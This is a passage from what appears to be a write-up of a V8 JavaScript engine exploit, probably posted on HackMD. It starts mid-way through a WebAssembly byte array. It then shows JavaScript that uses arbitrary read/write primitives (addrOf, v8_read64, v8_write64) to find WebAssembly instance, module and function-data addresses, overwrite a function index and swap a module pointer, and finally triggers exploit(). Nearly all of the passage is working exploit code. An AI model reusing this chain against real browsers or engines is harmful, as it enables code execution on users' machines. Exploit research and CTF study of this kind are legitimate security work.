0x00, 0x01, 0x0b, 0x03, 0x00, 0x01, 0x0b, 0x03, 0x00, 0x01, 0x0b, 0x03, 0x00, 0x01, 0x0b, 0x03, 0x00, 0x01, 0x0b, 0x03, 0x00, 0x01, 0x0b, 0x03, 0x00, 0x01, 0x0b, 0x03, 0x00, 0x01, 0x0b, 0x03, 0x00, 0x01, 0x0b, 0x03, 0x00, 0x01, 0x0b, 0x03, 0x00, 0x01, 0x0b, 0x03, 0x00, 0x01, 0x0b, 0x03, 0x00, 0x01, 0x0b, 0x03, 0x00, 0x01, 0x0b, 0x03, 0x00, 0x01, 0x0b, 0x03, 0x00, 0x01, 0x0b, 0x03, 0x00, 0x01, 0x0b, 0x03, 0x00, 0x01, 0x0b, 0x03, 0x00, 0x01, 0x0b, 0x03, 0x00, 0x01, 0x0b, 0x03, 0x00, 0x01, 0x0b, 0x03, 0x00, 0x01, 0x0b, 0x03, 0x00, 0x01, 0x0b, 0x03, 0x00, 0x01, 0x0b, 0x03, 0x00, 0x01, 0x0b, 0x03, 0x00, 0x01, 0x0b, 0x03, 0x00, 0x01, 0x0b, 0x03, 0x00, 0x01, 0x0b, 0x03, 0x00, 0x01, 0x0b, 0x03, 0x00, 0x01, 0x0b, 0x03, 0x00, 0x01, 0x0b, 0x03, 0x00, 0x01, 0x0b, 0x03, 0x00, 0x01, 0x0b, 0x03, 0x00, 0x01, 0x0b, 0x03, 0x00, 0x01, 0x0b, 0x03, 0x00, 0x01, 0x0b, 0x03, 0x00, 0x01, 0x0b, 0x03, 0x00, 0x01, 0x0b, 0x03, 0x00, 0x01, 0x0b, 0x03, 0x00, 0x01, 0x0b, 0x03, 0x00, 0x01, 0x0b, 0x03, 0x00, 0x01, 0x0b, 0x03, 0x00, 0x01, 0x0b, 0x03, 0x00, 0x01, 0x0b, 0x03, 0x00, 0x01, 0x0b, 0x03, 0x00, 0x01, 0x0b, 0x03, 0x00, 0x01, 0x0b, 0x03, 0x00, 0x01, 0x0b, 0x03, 0x00, 0x01, 0x0b, 0x03, 0x00, 0x01, 0x0b, 0x03, 0x00, 0x01, 0x0b, 0x03, 0x00, 0x01, 0x0b, 0x03, 0x00, 0x01, 0x0b, 0x03, 0x00, 0x01, 0x0b, 0x03, 0x00, 0x01, 0x0b, 0x07, 0x00, 0x43, 0x8f, 0xc2, 0x75, 0x3c, 0x0b ]); let wasm_mod_2 = new WebAssembly.Module(wasm_code_2); let wasm_instance_2 = new WebAssembly.Instance(wasm_mod_2); spray = wasm_instance_0.exports.spray; spray(); %DebugPrint(spray); indirect = wasm_instance_0.exports.indirect; // %DebugPrint(wasm_instance_0) console.log("[*] Gathering info about Wasm Instance 0"); let addr_wasm_instance_0 = addrOf(wasm_instance_0); let addr_wasm_module_0 = v8_read64(addr_wasm_instance_0+0x10); console.log("\t[i] Wasm Instance 0: ", ToHex(addr_wasm_instance_0)); console.log("\t[i] Wasm Module 0: ", ToHex(addr_wasm_module_0)); console.log(); console.log("[*] Gathering info about Wasm Instance 2"); let addr_wasm_instance_2 = addrOf(wasm_instance_2); let addr_wasm_module_2 = v8_read64(addr_wasm_instance_2+0x10) & 0xFFFFFFFFn; console.log("\t[i] Wasm Instance 2: ", ToHex(addr_wasm_instance_2)); console.log("\t[i] Wasm Module 2: ", ToHex(addr_wasm_module_2)); console.log(); console.log("[*] Gathering info about Wasm Exported Function"); let addr_wasm_function = addrOf(indirect); let shared_info = v8_read64(addr_wasm_function+0x10) & 0xFFFFFFFFn; let function_data = v8_read64(shared_info-1n+0x8n) & 0xFFFFFFFFn; let addr_function_data_index = function_data-1n+0x14n; console.log("\t[i] Wasm Function: ", ToHex(addr_wasm_function)); console.log("\t[i] Wasm Function Shared Info: ",ToHex(shared_info)); console.log("\t[i] Wasm Function Data: ", ToHex(function_data)); console.log("\t[i] Wasm Function Data Index Addr: ", ToHex(addr_function_data_index)); console.log("[*] Writing new index in Wasm Function Data"); current_value = v8_read64(addr_function_data_index); console.log("\t[i] Current Function data index: ", ToHex(current_value)); console.log("\t[i] New Function data index: ", ToHex(current_value & 0xffffffff00000000n | smi(401n))); v8_write64(addr_function_data_index, ToHex(current_value & 0xffffffff00000000n | smi(401n))); console.log("[*] Writing module 2 in instance 0"); console.log("\t[i] Current Module 0: ", ToHex(addr_wasm_module_0)); console.log("\t[i] New Module 0: ", ToHex(addr_wasm_module_0 & 0xffffffff00000000n | addr_wasm_module_2)); v8_write64(addr_wasm_instance_0+0x10, ToHex(addr_wasm_module_0 & 0xffffffff00000000n | addr_wasm_module_2)); rtb.set(0, indirect); wasm_instance_1.exports.exploit(1337); ``` ![image](https://hackmd.io/_uploads/By-vk1TJJg.png)